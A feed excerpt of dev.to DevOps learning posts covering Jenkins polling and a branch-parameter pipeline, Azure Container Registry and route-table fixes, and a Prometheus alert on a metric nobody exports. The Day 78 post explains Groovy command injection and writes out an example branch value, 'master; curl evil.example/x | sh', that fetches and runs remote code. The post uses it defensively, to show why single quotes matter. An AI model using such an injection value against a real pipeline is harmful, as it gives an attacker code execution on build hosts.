&lt;p&gt;One thing the configuration gets right by accident. The plugin "polls remotely using &lt;code&gt;ls-remote&lt;/code&gt; when configured with a single branch (no wildcards!)", which is a network call rather than a workspace checkout. Pointing the job at &lt;code&gt;master&lt;/code&gt; specifically is what keeps it on that cheap path, and some branch-exclusion options forfeit it: "Using this behavior will preclude the faster remote polling mechanism."&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;There is a configuration that gets exactly what this task wants without the two-minute heartbeat, and it is not obvious from the UI.&lt;/p&gt;

&lt;p&gt;For a push notification to trigger a build, the git plugin requires that a job "Have Build Triggers &amp;gt; Poll SCM enabled. No polling schedule is required."&lt;/p&gt;

&lt;p&gt;That last sentence is the whole trick. Tick Poll SCM, leave the schedule box empty. Nothing polls on a timer, and the repository drives the build instead. Then, "To minimise the delay between a push and a build", you "configure the remote repository to use a Webhook to notify Jenkins of changes", or for a repository without one, "a post-receive hook in the remote repository to notify Jenkins".&lt;/p&gt;

&lt;p&gt;Better on both axes this task cares about. The build starts when the commit lands rather than up to two minutes later, and nothing runs on the controller in between. Gitea does webhooks, so the lab could have done it.&lt;/p&gt;

&lt;p&gt;The case for keeping a polling schedule is when the repository cannot reach Jenkins, which is a firewall problem rather than this one.&lt;/p&gt;

&lt;p&gt;One more thing I would change. The agent's remote root here is &lt;code&gt;/var/www/html&lt;/code&gt;, the same directory being deployed to. Day 77's walkthrough kept them separate, with the agent in &lt;code&gt;/home/sarah/jenkins_agent&lt;/code&gt;. The remote root is where Jenkins creates its workspace, its jar cache and its own bookkeeping, so pointing it at a document root puts Jenkins' files inside what Apache serves, and makes a workspace wipe a document-root wipe. The extra &lt;code&gt;cd&lt;/code&gt; in Day 77's build step buys both of those back.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: A registry and an image
&lt;/h2&gt;

&lt;p&gt;The task: a container registry on the Basic tier, with an image built from a local Dockerfile and pushed as &lt;code&gt;latest&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The name is a hostname
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"LoginServer"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"devopsacr652387499.azurecr.io"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which is why the task hands you a generated alphanumeric name instead of letting you pick &lt;code&gt;devops-acr&lt;/code&gt;. Same reason as storage accounts on Day 16: the name becomes a DNS label, so hyphens and underscores are out.&lt;/p&gt;

&lt;p&gt;My notes also gave the length range as 5 to 50 characters. I could not source that from the registry documentation this time, so I am recording it as unverified rather than repeating it. The DNS consequence is evidenced by the output above.&lt;/p&gt;

&lt;p&gt;The task then asks for the image to be named after the registry, so the full reference repeats itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;devopsacr652387499.azurecr.io/devopsacr652387499:latest
└──── registry (DNS) ───────┘ └── repository ───┘ └tag┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing creates that repository. It comes into existence when the first image is pushed under that path, which is ECR's model from Day 38 except that ECR makes you run &lt;code&gt;create-repository&lt;/code&gt; first. The registry is the ARM resource; repositories inside it are not, which is why &lt;code&gt;az resource list&lt;/code&gt; never shows them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The build that was supposed to happen in the cloud
&lt;/h3&gt;

&lt;p&gt;The documented way to build an image for ACR needs no Docker at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az acr build &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nv"&gt;$ACR&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="nv"&gt;$ACR&lt;/span&gt;:latest /root/pyapp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(AuthorizationFailed) The client ... does not have authorisation to perform action
'Microsoft.ContainerRegistry/registries/scheduleRun/action'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ACR Tasks needs &lt;code&gt;scheduleRun&lt;/code&gt; on the registry, and the lab identity does not have it. So the fallback I had ready was closed, and the local Docker route was the only one left. Fortunately the host had Docker, because otherwise both paths were gone.&lt;/p&gt;

&lt;p&gt;Worth separating two reasons a command can be unavailable, because they call for different responses:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cause&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Not supported by the SKU&lt;/td&gt;
&lt;td&gt;Geo-replication on Basic&lt;/td&gt;
&lt;td&gt;The feature is rejected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not permitted by RBAC&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;scheduleRun&lt;/code&gt; here&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;AuthorizationFailed&lt;/code&gt; naming the action&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This was the second. &lt;code&gt;az acr build&lt;/code&gt; works perfectly well on Basic; the identity could not invoke it. The error names the exact action, which is what you need when deciding whether to request a role or change approach.&lt;/p&gt;

&lt;p&gt;Which is today's other half of the same question. In the Jenkins task, work I thought had moved to the agent partly stayed on the controller. Here, work I intended to run in Azure came back to the local host. Both times the machine doing the work was not the one the configuration implied.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Three errors, one unset variable
&lt;/h3&gt;

&lt;p&gt;Three commands ran before the &lt;code&gt;export&lt;/code&gt; line, and not one of the errors mentions an empty variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker push $ACR.azurecr.io/$ACR:latest   -&amp;gt;  invalid reference format
docker build -t $ACR.azurecr.io/$ACR:latest .
  -&amp;gt;  invalid tag ".azurecr.io/:latest": invalid reference format
az acr login -n $ACR                      -&amp;gt;  argument --name/-n: expected one argument
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The middle one is the only useful message, because it echoes back the tag it actually received.&lt;/p&gt;

&lt;p&gt;Two symptoms, one cause, and the second is the one that catches people:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Context&lt;/th&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Inside a string&lt;/td&gt;
&lt;td&gt;Malformed value, &lt;code&gt;invalid reference format&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;As a flag value&lt;/td&gt;
&lt;td&gt;The argument vanishes, &lt;code&gt;expected one argument&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A flag whose value is an empty variable does not become an empty string. The shell removes the word entirely, so &lt;code&gt;-n $ACR&lt;/code&gt; becomes &lt;code&gt;-n&lt;/code&gt; followed by nothing, and the CLI reports a missing argument rather than an empty one. Echo variables after setting them, or use &lt;code&gt;set -u&lt;/code&gt; and get an error that names the variable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;Two things, and the second corrects something I had written as a limitation.&lt;/p&gt;

&lt;p&gt;Verify from the registry, not from the push. The push output says &lt;code&gt;latest: digest: sha256:58110cf4...&lt;/code&gt;, which is the client reporting what it believes it did. &lt;code&gt;az acr repository show-tags&lt;/code&gt; reads the server's own state, and matching digests is what ties the two together.&lt;/p&gt;

&lt;p&gt;While doing that, a nice trap. &lt;code&gt;show-tags&lt;/code&gt; lists &lt;code&gt;latest&lt;/code&gt;, and &lt;code&gt;show --image $ACR:latest&lt;/code&gt; returns &lt;code&gt;"Tags": null&lt;/code&gt;. Both commands are correct: &lt;code&gt;show --image&lt;/code&gt; addresses one manifest by tag and does not enumerate the tags pointing at it. Same pattern as Day 18's missing &lt;code&gt;contentMd5&lt;/code&gt; and Day 31's sparse create response. The response shape belongs to the command, not to the resource.&lt;/p&gt;

&lt;p&gt;Now the correction. Basic's real limitation is the absence of private endpoints, which Premium alone supports, so a private AKS cluster pulling from a Basic registry does not work. I had written that up as a constraint to live with.&lt;/p&gt;

&lt;p&gt;It is not a constraint at all. "You can move freely between SKUs as long as the SKU you're switching to has the required maximum storage capacity", and "When you change a registry's SKU, there's no downtime or impact on registry operations." Only the downgrade direction has conditions: geo-replications and connected registries must go before leaving Premium.&lt;/p&gt;

&lt;p&gt;Which makes the ACR tier the opposite of nearly every other choice this track has recorded. Blob type is fixed at creation. Hierarchical namespace is a one-way upgrade. A managed disk cannot shrink. An App Service plan's OS and region are fixed when you create it. Choosing Basic commits to nothing, and that is worth knowing precisely because so little else here works that way.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Both tasks were configured to run work in one place and ran part of it somewhere else.&lt;/p&gt;

&lt;p&gt;The Jenkins one is the more useful finding, because it is invisible and it is load-bearing. Four days of work moving builds onto agents, and the trigger that decides when to build still runs on the controller, every two minutes, forever. The documentation offers the fix in one sentence that is easy to read past: Poll SCM enabled, no schedule required, webhook does the rest.&lt;/p&gt;

&lt;p&gt;The Azure one was louder. &lt;code&gt;AuthorizationFailed&lt;/code&gt; naming an exact action is about as clear as a cloud error gets, and it told me in one line that the build I intended to delegate had to come home.&lt;/p&gt;

&lt;p&gt;And the correction I would not have found without checking: the registry tier I had written off as a commitment is the one thing in this whole track that changes freely, with no downtime, in either direction.&lt;/p&gt;

&lt;p&gt;So here is the Day 79 question. In your pipeline, which machine is doing work you believe has been moved somewhere else?&lt;/p&gt;

&lt;p&gt;Day 79 down. Twenty-one to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Day 78: A Parameter and a Broken Route</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Wed, 04 Nov 2026 18:00:00 +0000</pubDate>
      <link>https://dev.to/ndcodes/day-78-a-parameter-and-a-broken-route-50h7</link>
      <guid>https://dev.to/ndcodes/day-78-a-parameter-and-a-broken-route-50h7</guid>
      <description>&lt;p&gt;Day 78 of DevOps, Day 28 of Azure. Both tasks today worked, and in both cases, knowing why they worked mattered more than the fact that they did.&lt;/p&gt;

&lt;p&gt;A pipeline took a branch name from whoever triggered the build and interpolated it into a shell command, which is the shape of a security problem. It is safe, because of a quoting rule nobody mentions. And an Azure server served HTTP 200 from outside Azure, over its public IP, and still failed the task.&lt;/p&gt;

&lt;p&gt;One Jenkins task, one Azure task. Make a deployment pipeline take the branch as a parameter, then fix a public network nobody could reach. The tasks come from the KodeKloud Engineer platform.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 1: A branch as a parameter
&lt;/h2&gt;

&lt;p&gt;The task: a Pipeline job named &lt;code&gt;devops-webapp-job&lt;/code&gt; that deploys whichever branch the user names at build time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Notice which branch the server is already on
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;sarah@stapp01 html]&lt;span class="nv"&gt;$ &lt;/span&gt;git branch
&lt;span class="k"&gt;*&lt;/span&gt; feature
  master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application was serving the &lt;code&gt;feature&lt;/code&gt; branch before the job existed. Nobody decided that; it is just where the working copy was left.&lt;/p&gt;

&lt;p&gt;Which is the thing this job is for. Not "deploy any branch" as a capability, but "make the deployed branch a decision somebody records" instead of a side effect of the last person who ran a command in that directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The pipeline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;pipeline&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;agent&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="s1"&gt;'stapp01'&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;name:&lt;/span&gt; &lt;span class="s1"&gt;'BRANCH'&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;defaultValue:&lt;/span&gt; &lt;span class="s1"&gt;'master'&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;description:&lt;/span&gt; &lt;span class="s1"&gt;'Branch to deploy'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Deploy'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'''
                cd /var/www/html
                git fetch origin
                git checkout ${BRANCH}
                git pull origin ${BRANCH}
                '''&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;parameters&lt;/code&gt; directive is documented, unlike its freestyle equivalent on Day 72: it "provides a list of parameters that a user should provide when triggering the Pipeline."&lt;/p&gt;

&lt;p&gt;&lt;code&gt;defaultValue: 'master'&lt;/code&gt; is the right way round, and worth saying out loud. A job whose default deploys &lt;code&gt;feature&lt;/code&gt; is one distracted click from an incident.&lt;/p&gt;

&lt;p&gt;And &lt;code&gt;git fetch origin&lt;/code&gt; before the checkout is necessary rather than tidy. A branch that exists on the remote and has never been fetched locally cannot be checked out by name, so without it the first deployment of any new branch fails.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Run the failing case too
&lt;/h3&gt;

&lt;p&gt;Three builds: &lt;code&gt;master&lt;/code&gt;, then &lt;code&gt;feature&lt;/code&gt;, then &lt;code&gt;unknown&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That third one is the part of this walkthrough I would keep. Two green builds prove the job can deploy. Only the deliberate failure proves the job fails when asked for a branch that does not exist.&lt;/p&gt;

&lt;p&gt;Day 76's backup job was green every ten minutes while backing up nothing at all, and the only difference between that situation and this one is that somebody here checked the failure path.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Why this is safe, which is not obvious
&lt;/h3&gt;

&lt;p&gt;Look at what the pipeline does. It takes a string from whoever triggers the build and puts it into a shell command. That is the shape of a command injection.&lt;/p&gt;

&lt;p&gt;It is safe, and the reason is the quote characters. &lt;code&gt;${BRANCH}&lt;/code&gt; sits inside &lt;code&gt;sh '''...'''&lt;/code&gt;, triple single quotes, and single-quoted strings in Groovy do not interpolate. So Jenkins sends the literal text &lt;code&gt;${BRANCH}&lt;/code&gt; to the agent, and the shell expands it as an environment variable.&lt;/p&gt;

&lt;p&gt;That the variable exists to expand is documented: a build's parameters are "exported as environment variables when the build starts", referenced from a POSIX shell as &lt;code&gt;${PARAMETER_NAME}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And the quoting is Jenkins' documented defence rather than a style choice. The hazard it names is Groovy string interpolation, which "can inject rogue commands into command interpreters via special characters" and "can result in problems analogous to SQL injection". Its example gives a string parameter the default &lt;code&gt;hello; ls /&lt;/code&gt; and shows that &lt;code&gt;sh("echo ${STATEMENT}")&lt;/code&gt; runs the &lt;code&gt;ls&lt;/code&gt;, because Groovy substitutes into the command text before any shell sees it. The fix: "use single quotes to avoid Groovy interpolation".&lt;/p&gt;

&lt;p&gt;So had this been written with triple double quotes, a &lt;code&gt;BRANCH&lt;/code&gt; value of &lt;code&gt;master; curl evil.example/x | sh&lt;/code&gt; would have run that second command on &lt;code&gt;stapp01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The shell side then holds for Day 72's reason. Bash expands in a fixed order, and "Only brace expansion, word splitting, and filename expansion can increase the number of words." Parameter expansion is not one of those three, so a semicolon arriving inside a value is a character in a word, not a command separator.&lt;/p&gt;

&lt;p&gt;Worth flagging now: Day 81, in this same batch, writes the same kind of script with triple double quotes. Two pipelines, three days apart, on opposite sides of the one rule Jenkins documents about this.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The quoting makes this safe from injection. It does not make the parameter right.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git checkout ${BRANCH}&lt;/code&gt; passes an arbitrary string to &lt;code&gt;git checkout&lt;/code&gt;, and &lt;code&gt;git checkout&lt;/code&gt; accepts far more than branch names. A commit SHA, a tag, &lt;code&gt;HEAD~5&lt;/code&gt; are all valid. So the parameter's real domain is "any revision in this repository", not "a branch".&lt;/p&gt;

&lt;p&gt;That is an operational problem rather than a security one. Deploy a bare commit and the working tree ends up detached from any branch, the following &lt;code&gt;git pull origin ${BRANCH}&lt;/code&gt; fails, and the server sits on a revision nobody asked for.&lt;/p&gt;

&lt;p&gt;A choice parameter listing the actual branches, as on Day 72, closes both the ambiguity and the free-text box. And &lt;code&gt;"${BRANCH}"&lt;/code&gt; in quotes, because an unquoted value with spaces becomes several arguments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Task 2: Four faults in one network
&lt;/h2&gt;

&lt;p&gt;The task: an nginx server in a public VNet that nobody could reach. Find out why and fix it.&lt;/p&gt;

&lt;p&gt;Four separate problems, each enough on its own to make the server unreachable: a user-defined route sending &lt;code&gt;0.0.0.0/0&lt;/code&gt; to next hop &lt;code&gt;None&lt;/code&gt;, a public IP not attached to the NIC, an NSG allowing only port 22, and nginx not installed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The one that failed me
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Route table 'devops-rtb' does not have a route to the internet.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My first attempt fixed three of the four correctly and served a working site. There are four ways to deal with a route blackholing all traffic, and I picked the one that works and is not what was asked:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;Grader&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Delete the route&lt;/td&gt;
&lt;td&gt;System default becomes active. Traffic flows.&lt;/td&gt;
&lt;td&gt;Fails. The table has no internet route&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Repoint it to &lt;code&gt;Internet&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Explicit &lt;code&gt;0.0.0.0/0 -&amp;gt; Internet&lt;/code&gt; in the table&lt;/td&gt;
&lt;td&gt;Passes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disassociate the route table&lt;/td&gt;
&lt;td&gt;System default applies. Traffic flows.&lt;/td&gt;
&lt;td&gt;Fails, and broader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delete the route table&lt;/td&gt;
&lt;td&gt;Same, broader still&lt;/td&gt;
&lt;td&gt;Fails, and broadest&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The tell I walked straight past: after my delete, the route table contained zero routes and was still attached to the subnet. An empty route table attached to a subnet is pointless configuration. It does nothing and exists for no reason.&lt;/p&gt;

&lt;p&gt;That end state should have prompted the obvious question. Why would a lab create a route table, attach it to a subnet, and put exactly one deliberately named route in it? Because the route was the thing to fix. The table was the exercise.&lt;/p&gt;

&lt;p&gt;I read the end state as clean because traffic flowed. It was incoherent, and incoherent leftover configuration is a signal that the repair was aimed at the wrong layer.&lt;/p&gt;

&lt;p&gt;My scope reasoning was wrong in a specific way too. Day 19's principle is about blast radius, an account-wide switch versus one container. Here the choice was not narrow against wide but absent against present: deleting and repointing touch one route, one table, one subnet, and differ only in the end state, which is exactly what the requirement was about.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Working is not correct
&lt;/h3&gt;

&lt;p&gt;The first attempt returned 200 with the nginx page, from outside Azure, over the public IP. The service genuinely worked. The configuration was wrong.&lt;/p&gt;

&lt;p&gt;That is the precise inverse of Day 38, where an ECS task reported &lt;code&gt;RUNNING&lt;/code&gt; and I failed by trusting the status field instead of testing reachability. The correction from that day was to always finish with an end-to-end check. Here the end-to-end check passed and the configuration was wrong.&lt;/p&gt;

&lt;p&gt;Behaviour is not proof of configuration, just as configuration is not proof of behaviour. Both, every time.&lt;/p&gt;

&lt;p&gt;A working system resting on a platform default that happens to apply is also fragile in practice. Someone attaching a different route table later breaks it, with nothing in the table to explain what was intended.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: &lt;code&gt;Invalid&lt;/code&gt; does not mean broken
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before:  Default Invalid 0.0.0.0/0 Internet   /  User Active 0.0.0.0/0 None
After:   User Active 0.0.0.0/0 Internet       /  Default Invalid 0.0.0.0/0 Internet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system route is marked &lt;code&gt;Invalid&lt;/code&gt; in both cases. It is invalid because a user-defined route covers the same prefix, full stop, and it says nothing about whether traffic flows.&lt;/p&gt;

&lt;p&gt;So my original reading was imprecise. &lt;code&gt;Invalid&lt;/code&gt; was a consequence of a UDR existing, not the fault. The fault was that UDR's next hop was &lt;code&gt;None&lt;/code&gt;. Read the row that is &lt;code&gt;Active&lt;/code&gt; for the prefix and check its next hop, rather than looking for the absence of &lt;code&gt;Invalid&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;az network nic show-effective-route-table&lt;/code&gt; is still the first call in any Azure connectivity problem, because it shows what the NIC will actually do after Azure resolves precedence between system, user-defined and BGP routes. Reading the route table resource alone tells you a route exists, not whether it wins.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;My note ended with a confident claim that has since stopped being true. I wrote that because Azure injects a system route and needs no gateway resource, "there is exactly one way to break it: override that system route with a UDR."&lt;/p&gt;

&lt;p&gt;There are two now, and the second is becoming the default. Microsoft's page on the default outbound access change addresses this exact fix: "In configurations using User Defined Routes (UDRs), any configured routes with next hop type &lt;code&gt;Internet&lt;/code&gt; break in a Private subnet."&lt;/p&gt;

&lt;p&gt;So the route I created to pass this task is a route that stops working in a private subnet, and subnets in new virtual networks now default to private. Correct for the grader, correct for this VNet, and not a durable pattern.&lt;/p&gt;

&lt;p&gt;The deeper mistake was conflating two layers. A system route decides where a packet is sent. Default outbound access decides what source address it carries: Azure "automatically assigns it an outbound public IP address", one that "is owned by Microsoft and can change without notice". Routing and source-address translation are different mechanisms, and "the VNet has internet access by default" is a claim about both at once.&lt;/p&gt;

&lt;p&gt;Which is exactly why a UDR pointing at &lt;code&gt;Internet&lt;/code&gt; breaks in a private subnet while looking perfectly correct in the route table. The route sends the packet out. Nothing gives it a public source address to be answered at.&lt;/p&gt;

&lt;p&gt;Two details from the same page that would have saved me diagnostic time: "Default outbound access IPs don't support fragmented packets", and "don't support ICMP pings." A VM with no public IP that cannot ping out is behaving as documented, not broken.&lt;/p&gt;

&lt;p&gt;One last thing, on fix order. A route table governs traffic leaving a subnet, so it is tempting to think a broken egress route only affects outbound connections. It does not: an inbound TCP connection needs its replies routed out, and replies are egress. More immediately, &lt;code&gt;apt-get&lt;/code&gt; could not reach the mirrors, so the route had to be fixed before nginx could be installed at all. Install nginx first, and you get a package-resolution error that looks like a repository or DNS problem and says nothing about routing.&lt;/p&gt;

&lt;p&gt;When faults are dependent, fixing them out of order produces misleading errors for the ones that are not broken. Sweep for all of them before changing anything.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Two things that worked, for reasons that were not visible in them.&lt;/p&gt;

&lt;p&gt;The pipeline is safe from command injection, and nothing in the pipeline says so. The safety is in the choice of &lt;code&gt;'''&lt;/code&gt; over &lt;code&gt;"""&lt;/code&gt;, three characters that look like formatting. Change them and the job becomes a remote shell for anyone who can trigger a build. I would not have known that from reading the script, and Day 81 shows the same author reaching for the other quote by default.&lt;/p&gt;

&lt;p&gt;The Azure repair was wrong while serving a working site, and I called it clean because traffic flowed. The thing I should have noticed was the leftover: an empty route table attached to a subnet, which no one would configure deliberately. Function told me nothing. Coherence would have told me everything.&lt;/p&gt;

&lt;p&gt;So here is the Day 78 question. The last thing you fixed that worked afterwards: do you know it was correct, or do you know it stopped failing?&lt;/p&gt;

&lt;p&gt;Day 78 down. Twenty-two to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Part 4: The Alert That Could Never Fire</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Wed, 04 Nov 2026 06:20:32 +0000</pubDate>
      <link>https://dev.to/ndcodes/part-4-the-alert-that-could-never-fire-3434</link>
      <guid>https://dev.to/ndcodes/part-4-the-alert-that-could-never-fire-3434</guid>
      <description>&lt;p&gt;Since the first week of this project, &lt;code&gt;observability/prometheus/alerts.yml&lt;/code&gt; has contained this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PDSCircuitOpen&lt;/span&gt;
  &lt;span class="na"&gt;expr&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pybreaker_state{name="pds"} == &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is a correct rule. The circuit breaker in front of the Personal Demographics Service opens after five consecutive failures, the pipeline carries on with the demographics from the message, and somebody should be told.&lt;/p&gt;

&lt;p&gt;No service has ever exported &lt;code&gt;pybreaker_state&lt;/code&gt;. The rule has been watching a series that does not exist, which looks exactly like a healthy system.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;Monitoring has a particular failure mode: you cannot tell the difference between nothing being wrong and nothing being watched. A dashboard with no red on it means one of those two things, and it does not say which.&lt;/p&gt;

&lt;p&gt;In this pipeline, that matters more than usual, because the failures I care about mostly return 200. A patient written without an NHS number to match on is a successful request. A date of birth that failed to parse is a successful request. The breaker opening and the pipeline silently dropping to unenriched demographics is a whole shift of successful requests.&lt;/p&gt;

&lt;p&gt;So this week I went looking for the things the pipeline does that nobody would ever find out about.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the pipeline could not see
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2c95csel0mt02ul67b87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2c95csel0mt02ul67b87.png" alt="Three silent failures: a dead alert, dropped fields, and an unvalidated identity key" width="800" height="608"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The breaker opens, and nothing says so
&lt;/h3&gt;

